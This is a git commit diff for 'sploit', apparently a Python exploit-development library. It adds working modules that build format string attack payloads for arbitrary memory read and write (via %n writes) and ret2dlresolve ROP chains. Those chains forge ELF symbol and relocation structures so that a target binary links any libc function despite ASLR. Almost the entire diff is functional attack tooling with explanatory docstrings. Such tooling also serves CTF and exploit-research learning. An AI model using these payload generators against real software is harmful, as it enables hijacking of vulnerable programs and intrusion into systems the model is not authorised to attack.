summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorMalfurious <m@lfurio.us>2024-02-20 12:44:35 -0500
committerMalfurious <m@lfurio.us>2024-05-19 18:00:19 -0400
commitf4f37377df62b3a5d5685e23b261a534ef182006 (patch)
treed2d5ba0c27047aab26751725aaae70d51ca385de
parent68d9242bf17b2096230ca1f0081f9cad302f193c (diff)
downloadsploit-f4f37377df62b3a5d5685e23b261a534ef182006.tar.gz
sploit-f4f37377df62b3a5d5685e23b261a534ef182006.zip
Squash changes
- Payload improvements - Format string attack - Ret2dlresolve attack
-rw-r--r--sploit/payload/__init__.py2
-rw-r--r--sploit/payload/fmtstring.py178
-rw-r--r--sploit/payload/payload.py53
-rw-r--r--sploit/payload/payload_entry.py64
-rw-r--r--sploit/payload/ret2dlresolve.py226
5 files changed, 482 insertions, 41 deletions
diff --git a/sploit/payload/__init__.py b/sploit/payload/__init__.py
index d65b0f0..da47cc1 100644
--- a/sploit/payload/__init__.py
+++ b/sploit/payload/__init__.py
@@ -1,4 +1,6 @@
+from .fmtstring import *
from .gadhint import *
from .payload import *
from .payload_entry import *
+from .ret2dlresolve import *
from .rop import *
diff --git a/sploit/payload/fmtstring.py b/sploit/payload/fmtstring.py
new file mode 100644
index 0000000..54da6f2
--- /dev/null
+++ b/sploit/payload/fmtstring.py
@@ -0,0 +1,178 @@
+"""
+Exploit C-style format string vulnerabilities
+
+These techniques leverage functions such as printf, fprintf, sprintf, etc. when
+run on unchecked user input to perform arbitrary memory read or write. This is
+made possible by the unintended use of user input as the function's format
+string argument, instead of an ordinary data argument. Attackers may inject
+their own conversion specifiers, which act as operating instructions to the
+function. Interesting formatters include:
+
+ %p Read argument value. These are the values of function argument
+ registers and values from the stack. The value is printed as
+ hexadecimal (with leading "0x") and interprets values as unsigned
+ long (aka, same size as arch.wordsize).
+
+ %s Read memory as asciiz string. Prints the data pointed to by
+ argument value.
+
+ %c Read argument as 8-bit character, printing the interpreted character
+ value. This formatter is useful in combination with a field width
+ specifier in order to print a controlled number of bytes to the
+ output, which is meaningful to the next formatter.
+
+ %n Write memory as integer. Prints no output, but writes the number of
+ characters printed so far to the location pointed to by the argument
+ pointer. A length modifier will control the bit-width of the
+ integer written.
+
+See `man 3 printf` for more details.
+"""
+
+from sploit.arch import arch, btoi, itob
+from sploit.payload.payload import Payload
+from sploit.payload.payload_entry import padalign, padrel
+
+_FMTSTR_MAGIC = b"\xcd"
+
+def _make_fmtstr_payload():
+ # A typical layout will look like this:
+ # b'%123c%10$hn%456c%11$hn\x00\x90\xde\xad\xbe\xef\xca\xfe\xba\xbe'
+ # ^ ^ ^ ^ ^ ^
+ # fmt[0] fmt[1] nul | addrs[0] addrs[1]
+ # align
+ #
+ # Many examples found online will demo placing addresses at the front. Eg:
+ # b'\xde\xad\xbe\xef\xca\xfe\xba\xbe%123c%7$hn%456c%8$hn\x00'
+ # This has the benefit that %n positional values are simple to calculate
+ # (they just start at the payload position and increase by one). However,
+ # any NULL bytes in the addresses break the exploit, since printf will stop
+ # processing its string once a NULL is encountered.
+ #
+ # Moving addresses to the end mitigates this. Wordsize alignment is then
+ # necessary to give for valid argument positions. We also intentionally
+ # NULL terminate the format string portion of the payload to prevent printf
+ # from processing beyond formatters.
+ fp = Payload()
+ fp.fmt = Payload()
+ fp.null = b"\x00"
+ fp.align = padalign(arch.wordsize)
+ fp.addrs = Payload()
+ return fp
+
+def _fixup_positionals(fp, position, offset=None):
+ if offset is None:
+ offset = fp.addrs.base // arch.wordsize
+
+ fixup = _make_fmtstr_payload()
+ fixup.addrs = fp.addrs
+
+ for i, fmt in enumerate(fp.fmt):
+ pos = position + offset + i
+ fixup.fmt(fmt.decode().format(pos).encode())
+
+ # String formatting positional values may grow the format string so much
+ # as to cause the addrs offset to shift. Detect this and correct.
+ check = fixup.addrs.base // arch.wordsize
+ if offset != check:
+ return _fixup_positionals(fp, position, check)
+
+ return fixup
+
+def fmtstr_dump(start=None, end=None):
+ """
+ Return a format string payload which dumps annotated argument values.
+
+ start (int): Starting argument position (default: 1)
+ end (int): Ending argument position (default: start + 20)
+ """
+ if start is None: start = 1
+ if end is None: end = start + 19 # inclusive, so 20 total arguments
+
+ fp = Payload()
+ fp.magic = padrel(arch.wordsize, _FMTSTR_MAGIC)
+ fp.fmt = Payload()
+ fp.null = b"\x00"
+
+ for pos in range(start, end+1):
+ if pos < len(arch.funcargs):
+ label = arch.funcargs[pos]
+ else:
+ offset = (pos - len(arch.funcargs)) * arch.wordsize
+ label = f"stack+{hex(offset)}"
+
+ fp.fmt(f"({pos}$ {label}) %{pos}$p ".encode())
+
+ return fp
+
+def fmtstr_get(*positions, join=" "):
+ """
+ Return a format string payload which prints specific argument values.
+
+ positions (*int): Argument positions
+ join (str): Delimiter string
+ """
+ fp = Payload()
+ fp.fmt = Payload()
+ fp.null = join
+
+ for p in positions:
+ fp.fmt(f"{join}%{p}$p".encode())
+
+ return fp
+
+def fmtstr_read(position, address):
+ """
+ Return a format string payload which reads data (as string, via %s).
+
+ position (int): printf positional offset of payload on stack.
+ address (int): Address of data to read.
+ """
+ fp = _make_fmtstr_payload()
+ fp.fmt(b"%{}$s")
+ fp.addrs(address)
+ return _fixup_positionals(fp, position)
+
+def fmtstr_write(position, _data, _value=None):
+ """
+ Return a format string payload which writes data.
+
+ One option for calling this function is to give a write destination in _data
+ as an integer, and the value to write in _value.
+
+ Alternatively, _data may contain a dictionary, with write destinations as
+ keys and contents to write as values. _value is ignored in this case.
+
+ In either case, the contents to write is generally expected to be bytes.
+ However, integers are converted automatically via itob().
+
+ position (int): printf positional offset of payload on stack.
+ _data (int|dict{int:bytes}): Write data (see above)
+ _value (int|bytes): Write value (see above)
+ """
+ # Convert from 2-argument style to dictionary.
+ if type(_data) is int:
+ _data = { _data: _value }
+
+ pairs = {}
+
+ # Collect each 2-byte word to write.
+ for addr, value in _data.items():
+ value = itob(value) if type(value) is int else bytes(value)
+ words = [ value[i:i+2] for i in range(0, len(value), 2) ]
+ words = { addr+(i*2): btoi(w) for i, w in enumerate(words) }
+ pairs.update(words)
+
+ fp = _make_fmtstr_payload()
+ prev = 0
+
+ # Craft writes.
+ for addr, word in sorted(pairs.items(), key=lambda x: x[1]):
+ diff = word - prev
+ prev = word
+
+ size = "" if diff == 0 else f"%{diff}c"
+ fp.fmt(f"{size}%{{}}$hn".encode())
+ fp.addrs(addr)
+
+ return _fixup_positionals(fp, position)
diff --git a/sploit/payload/payload.py b/sploit/payload/payload.py
index a59eed2..2a9521f 100644
--- a/sploit/payload/payload.py
+++ b/sploit/payload/payload.py
@@ -84,6 +84,7 @@ class Payload(IndexTbl):
"""Return human-readable Payload."""
FMT = "\n{:<20} {:<20} {:<20}"
s = f"{len(self.__entries__)} items, {len(self)} bytes @ {hex(self)}"
+ memo = {}
if len(self.__entries__) > 0:
s += FMT.format("ADDRESS", "SYMBOL", "DATA")
@@ -93,8 +94,8 @@ class Payload(IndexTbl):
key = "(unkeyed)" if key is None else str(key)
key = f"[{key}]" if isinstance(value, IndexEntry) else key
- addr = self.__addrof(i)
- data = str(self.__bytesof(i))
+ addr = self.__addrof(i, memo)
+ data = str(self.__bytesof(i, memo))
if len(data) > _REPR_DATA_LEN:
data = data[:_REPR_DATA_LEN] + " ..."
@@ -104,7 +105,8 @@ class Payload(IndexTbl):
def __bytes__(self):
"""Return calculated payload bytes."""
- x = [ self.__bytesof(i) for i in range(len(self.__entries__)) ]
+ memo = {}
+ x = [ self.__bytesof(i, memo) for i in range(len(self.__entries__)) ]
return b"".join(x)
def __call__(self, *args):
@@ -142,17 +144,19 @@ class Payload(IndexTbl):
def __len__(self):
"""Return the size of the payload content in bytes."""
- return len(bytes(self))
+ memo = {}
+ x = [ self.__lenof(i, memo) for i in range(len(self.__entries__)) ]
+ return sum(x)
def __getindex__(self, index):
"""Return payload index value or address."""
- value, _ = self.__valueof(index)
+ value, _ = self.__valueof(index, {})
return value
def __setindex__(self, index, value):
"""Set payload index value."""
try:
- addr = self.__addrof(index)
+ addr = self.__addrof(index, {})
except KeyError:
addr = self.end()
value = self.__prep_insertion(value, addr)
@@ -164,24 +168,36 @@ class Payload(IndexTbl):
# Payload helpers
- def __valueof(self, index):
- """Return a tuple: (addr of value, literal value) for index."""
+ def __valueof(self, index, memo):
+ """Return a tuple (addr of value, literal value) for index."""
value = self.__entries__[index]
- addr = self.__addrof(index)
+ addr = self.__addrof(index, memo)
if isinstance(value, IndexEntry):
value @= addr
return value, value
return addr, value
- def __addrof(self, index):
+ def __addrof(self, index, memo):
"""Return address (base + offset) for index."""
index = self.__entries__.key2idx(index)
- sizes = [ len(self.__bytesof(i)) for i in range(index) ]
- return self.base + sum(sizes)
+ try:
+ return memo[index]
+ except KeyError:
+ sizes = [ self.__lenof(i, memo) for i in range(index) ]
+ addr = self.base + sum(sizes)
+ memo[index] = addr
+ return addr
+
+ def __lenof(self, index, memo):
+ """Return element length for index."""
+ _, value = self.__valueof(index, memo)
+ if isinstance(value, PayloadEntry):
+ return value.payload_len(self)
+ return len(value)
- def __bytesof(self, index):
+ def __bytesof(self, index, memo):
"""Return byte output for index."""
- _, value = self.__valueof(index)
+ _, value = self.__valueof(index, memo)
if isinstance(value, PayloadEntry):
return value.payload_bytes(self)
return bytes(value)
@@ -198,6 +214,11 @@ class Payload(IndexTbl):
elif type(value) is int:
value = itob(value)
- # Confirm value has a functional conversion to bytes
- bytes(value)
+ try:
+ # Confirm value supports our required operations
+ len(value)
+ bytes(value)
+ except TypeError as ex:
+ raise TypeError(f"Payload: Bad type {type(value)} given") from ex
+
return value
diff --git a/sploit/payload/payload_entry.py b/sploit/payload/payload_entry.py
index 7088f83..2f8dbdd 100644
--- a/sploit/payload/payload_entry.py
+++ b/sploit/payload/payload_entry.py
@@ -20,31 +20,44 @@ class PayloadEntry(IndexEntry):
"""
pass
+ def payload_len(self, payload):
+ """
+ Called to compute size of this entry.
+
+ Implement this method to calculate the length of this dynamic payload
+ entry. self.base is set to the current entry address or offset.
+ """
+ raise NotImplementedError
+
def payload_bytes(self, payload):
"""
Called to generate bytes for this entry.
- Override this method to generate and return the binary output for this
- dynamic payload entry. self.base is set to the current entry address
- or offset.
+ Implement this method to generate the binary output for this dynamic
+ payload entry. self.base is set to the current entry address or offset.
"""
- return b""
+ raise NotImplementedError
# Concrete payload entry definitions
class pointer(PayloadEntry):
- """Generate an integer which is always a fixed offset from self.base."""
+ """Generate an integer which tracks the address of another payload field."""
- def __init__(self, target=None):
+ def __init__(self, target=None, math=None):
self.target = target
+ self.math = math
- def payload_insert(self, payload):
- if self.target is None:
- self.target = self.base
- self.target -= self.base
+ def payload_len(self, payload):
+ return arch.wordsize
def payload_bytes(self, payload):
- return itob(self.target + self.base)
+ if self.target is None:
+ addr = self.base
+ else:
+ addr = payload[self.target]
+ if callable(self.math):
+ addr = self.math(addr)
+ return itob(addr)
class padlen(PayloadEntry):
"""Generate padding to reach a target payload length."""
@@ -53,7 +66,11 @@ class padlen(PayloadEntry):
self.size = size
self.data = data
- def _gen_padding(self, size):
+ def payload_len(self, payload):
+ return self.size - (self.base - payload.base)
+
+ def payload_bytes(self, payload):
+ size = self.payload_len(payload)
data = self.data or arch.nopcode
if size < 0:
raise ValueError("padding: Available space is negative")
@@ -61,31 +78,29 @@ class padlen(PayloadEntry):
raise ValueError("padding: Element does not divide the space evenly")
return data * int(size)
- def payload_bytes(self, payload):
- return self._gen_padding(self.size - (self.base - payload.base))
-
class padabs(padlen):
"""Generate padding to reach a target absolute address."""
- def payload_bytes(self, payload):
- return self._gen_padding(self.size - self.base)
+ def payload_len(self, payload):
+ return self.size - self.base
class padrel(padlen):
"""Generate a fixed length of padding (aka: length relative to self)."""
- def payload_bytes(self, payload):
- return self._gen_padding(self.size)
+ def payload_len(self, payload):
+ return self.size
class padalign(padlen):
"""Generate padding to reach next aligned address."""
- def __init__(self, size=None, data=None):
+ def __init__(self, size=None, data=None, reference=0):
self.size = size
self.data = data
+ self.reference = reference
- def payload_bytes(self, payload):
+ def payload_len(self, payload):
size = self.size or arch.alignment
- return self._gen_padding(-self.base % size)
+ return (self.reference - self.base) % size
class placeholder(padlen):
"""Generate fixed length of magic bytes, one word length by default."""
@@ -94,6 +109,5 @@ class placeholder(padlen):
self.size = size
self.data = _PLACEHOLDER_MAGIC
- def payload_bytes(self, payload):
- size = self.size or arch.wordsize
- return self._gen_padding(size)
+ def payload_len(self, payload):
+ return self.size or arch.wordsize
diff --git a/sploit/payload/ret2dlresolve.py b/sploit/payload/ret2dlresolve.py
new file mode 100644
index 0000000..8862e22
--- /dev/null
+++ b/sploit/payload/ret2dlresolve.py
@@ -0,0 +1,226 @@
+"""
+Perform "Return to dlresolve" dynamic linker attack
+
+The ret2dlresolve technique is useful to defeat library ASLR against targets
+with partial relro (or less) and where no useable data leaks are available.
+This is specifically a workaround for ASLR of libraries such as libc, and
+addresses within the target executable are expected to be known (non-pic or
+otherwise).
+
+When a dynamic library call is performed normally, applications jump to code
+stubs in the .plt section to perform the actual relocation. This process relies
+on a couple of meta-data structures in the ELF object:
+
+Elf*_Rel: Contains a pointer to the corresponding GOT entry, which is used to
+cache the real subroutine address for later calls, as well as an info field
+describing the relocation. This info field contains a type subfield and an
+index into the ELF's symbol table for the symbol to be relocated.
+
+Elf*_Sym: Contains all the data relevant to the symbol. For the purposes of the
+exploit, only the symbol name field is utilized (the others are set to zeroes).
+The name field is an offset into the ELF's string table, and the actual symbol
+name string can be found at this offset.
+
+All of the data tables mentioned above are located by their corresponding
+section in the ELF. The relocation process however does not perform any bounds
+checks to ensure the runtime data structures actually come from these sections.
+By forging custom structures, and ensuring they can be written into memory at
+precise locations, an attacker can trick the resolver to link any library
+function they desire by setting up the equivalent PLT function call via ROP.
+
+Read on for more background details:
+http://phrack.org/issues/58/4.html
+https://gist.github.com/ricardo2197/8c7f6f5b8950ed6771c1cd3a116f7e62
+
+Structure definitions from your standard elf.h header:
+
+typedef struct {
+ Elf32_Word st_name; /* 4b Symbol name (string tbl index) */
+ Elf32_Addr st_value; /* 4b Symbol value */
+ Elf32_Word st_size; /* 4b Symbol size */
+ unsigned char st_info; /* 1b Symbol type and binding */
+ unsigned char st_other; /* 1b Symbol visibility */
+ Elf32_Section st_shndx; /* 2b Section index */
+} Elf32_Sym;
+
+typedef struct {
+ Elf64_Word st_name; /* 4b Symbol name (string tbl index) */
+ unsigned char st_info; /* 1b Symbol type and binding */
+ unsigned char st_other; /* 1b Symbol visibility */
+ Elf64_Section st_shndx; /* 2b Section index */
+ Elf64_Addr st_value; /* 8b Symbol value */
+ Elf64_Xword st_size; /* 8b Symbol size */
+} Elf64_Sym;
+
+typedef struct {
+ Elf32_Addr r_offset; /* 4b Address */
+ Elf32_Word r_info; /* 4b Relocation type and symbol index */
+} Elf32_Rel;
+
+typedef struct {
+ Elf64_Addr r_offset; /* 8b Address */
+ Elf64_Xword r_info; /* 8b Relocation type and symbol index */
+} Elf64_Rel;
+
+Elf32_Rel.r_info = 0xAAAAAABB
+ | |
+ | type
+ symidx
+
+Elf64_Rel.r_info = 0xAAAAAAAABBBBBBBB
+ | |
+ symidx type
+"""
+
+from sploit.arch import arch, itob
+from sploit.payload.gadhint import GadHint
+from sploit.payload.payload import Payload
+from sploit.payload.payload_entry import padalign, padlen, pointer
+from sploit.payload.rop import ROP
+from sploit.rev.r2 import run_cmd
+
+_JMP_SLOT = 0x07
+
+def _symsize():
+ # Size of Elf*_Sym, used for padding and indexing
+ if arch.wordsize == 4: return 16
+ elif arch.wordsize == 8: return 24
+ raise ValueError("Ret2dlresolve: Architecture wordsize unsupported")
+
+def _relsize():
+ # Size of Elf*_Rel, used only for indexing on 64bit (32bit uses offset)
+ if arch.wordsize == 4: return 1
+ elif arch.wordsize == 8: return 24
+ raise ValueError("Ret2dlresolve: Architecture wordsize unsupported")
+
+def _infoshift():
+ # Partition subfields of Elf*_Rel.r_info
+ if arch.wordsize == 4: return 8
+ elif arch.wordsize == 8: return 32
+ raise ValueError("Ret2dlresolve: Architecture wordsize unsupported")
+
+class Ret2dlresolve(ROP):
+ # Use constructor from ROP class
+
+ def reloc(self, symbol_name):
+ """
+ Generate relocation structures for the function with given symbol name.
+
+ The returned data structures are packed into a single Payload object.
+ This payload must be written into the target's memory before attempting
+ to use it with Ret2dlresolve.call(). Furthermore, the chosen write
+ location must be assigned to the payload base property, so that internal
+ pointers may take on the appropriate values.
+
+ See Ret2dlresolve.determine_address() for advice on choosing a write
+ location.
+
+ symbol_name (str): Name of library function to link
+ """
+ binary = self.objects[0]
+ symtab = binary.sym.sect['.dynsym']
+ strtab = binary.sym.sect['.dynstr']
+
+ try:
+ jmprel = binary.sym.sect['.rel.plt']
+ except KeyError:
+ jmprel = binary.sym.sect['.rela.plt']
+
+ # Elf*_Rel.r_info
+ info = lambda x: ((int(x - symtab) // _symsize()) << _infoshift()) | _JMP_SLOT
+
+ # The sym structure is the most picky about its location in memory. So
+ # it is listed first in the main dlres struct, which can be placed at
+ # the desired location.
+ sym = Payload()
+ sym.name = pointer("symbol_string", lambda x: x - strtab)
+ sym.pad = padlen(_symsize(), b"\x00")
+ sym.symbol_string = symbol_name
+
+ dlres = Payload()
+ dlres.symalign = padalign(_symsize(), reference=symtab)
+ dlres.sym = sym
+ dlres.relalign = padalign(_relsize(), reference=jmprel)
+ dlres.offset = pointer()
+ dlres.info = pointer("sym", info)
+ return dlres
+
+ def determine_address(self, start=None, end=None, n=0):
+ """
+ Determine recommended address for relocation structures.
+
+ There are a couple considerations to make when determining the memory
+ locations. First of all, the location must be writable. More
+ importantly, since most items are referred to by an array index, the
+ structures themselves must be properly aligned, reference to the array
+ origins.
+
+ The payload returned from Ret2dlresolve.reloc() has some of these
+ alignments built in, but one crucial one is not. The index implied by
+ Elf*_Sym's offset from the symtab base is the same index used to lookup
+ symbol version information, reference to versym. The data at this index
+ must constitute a valid version half-word (16-bits). This function
+ attempts to ensure that the coincident version info for any returned
+ value is the data \x00\x00. Getting this wrong can cause the dlresolve
+ routine to crash.
+
+ start (int): Minimum address to recommend (default: .bss section address)
+ end (int): Maximum address to recommend (default: end of memory page)
+ n (int): Return the Nth useable address within the defined range
+ """
+ binary = self.objects[0]
+ symtab = binary.sym.sect['.dynsym']
+ versym = binary.sym.sect['.gnu.version']
+ bss = binary.sym.sect['.bss']
+
+ if start is None: start = bss
+ if end is None: end = (start & ~0xfff) + 0x1000
+
+ zero_words = run_cmd(binary.path, "/x 0000")
+ zero_words = [ int(x.split(" ")[0], 0) for x in zero_words ]
+
+ # Size of version entry is always 2 bytes.
+ veroff = [ x - versym for x in zero_words ]
+ idx = [ x//2 for x in veroff if x%2 == 0 ]
+ symoff = [ x * _symsize() for x in idx ]
+ addr = [ x + symtab for x in symoff ]
+ addr = [ x for x in addr if start <= x < end ]
+
+ if len(addr) > n:
+ return addr[n]
+
+ raise AssertionError("Ret2dlresolve: No suitable memory location")
+
+ # Overrides ROP.call()
+ def call(self, reloc, *params):
+ """
+ Return a ROP payload to call function via dynamic linker.
+
+ reloc's base address must be set appropriately.
+
+ reloc (Payload): Relocation payload obtained from Ret2dlresolve.reloc()
+ *params (int): Remaining positional args are passed to function.
+ """
+ binary = self.objects[0]
+ plt = binary.sym.sect['.plt']
+
+ try:
+ jmprel = binary.sym.sect['.rel.plt']
+ except KeyError:
+ jmprel = binary.sym.sect['.rela.plt']
+
+ register_params = dict(zip(arch.funcargs, params))
+ stack_params = params[len(register_params):]
+ index = int(reloc.offset - jmprel) // _relsize()
+
+ reqs = GadHint(requirements=register_params)
+ call = GadHint(index, stack=stack_params)
+ ret = GadHint(self.search_gadget(arch.ret))
+
+ chain = Payload()
+ try: chain.requirements = self.gadget(reqs).requirements
+ except KeyError: pass
+ chain.alignment = padalign(0, itob(ret))
+ chain.plt = plt
+ chain.call = self.gadget(call)
+ return chain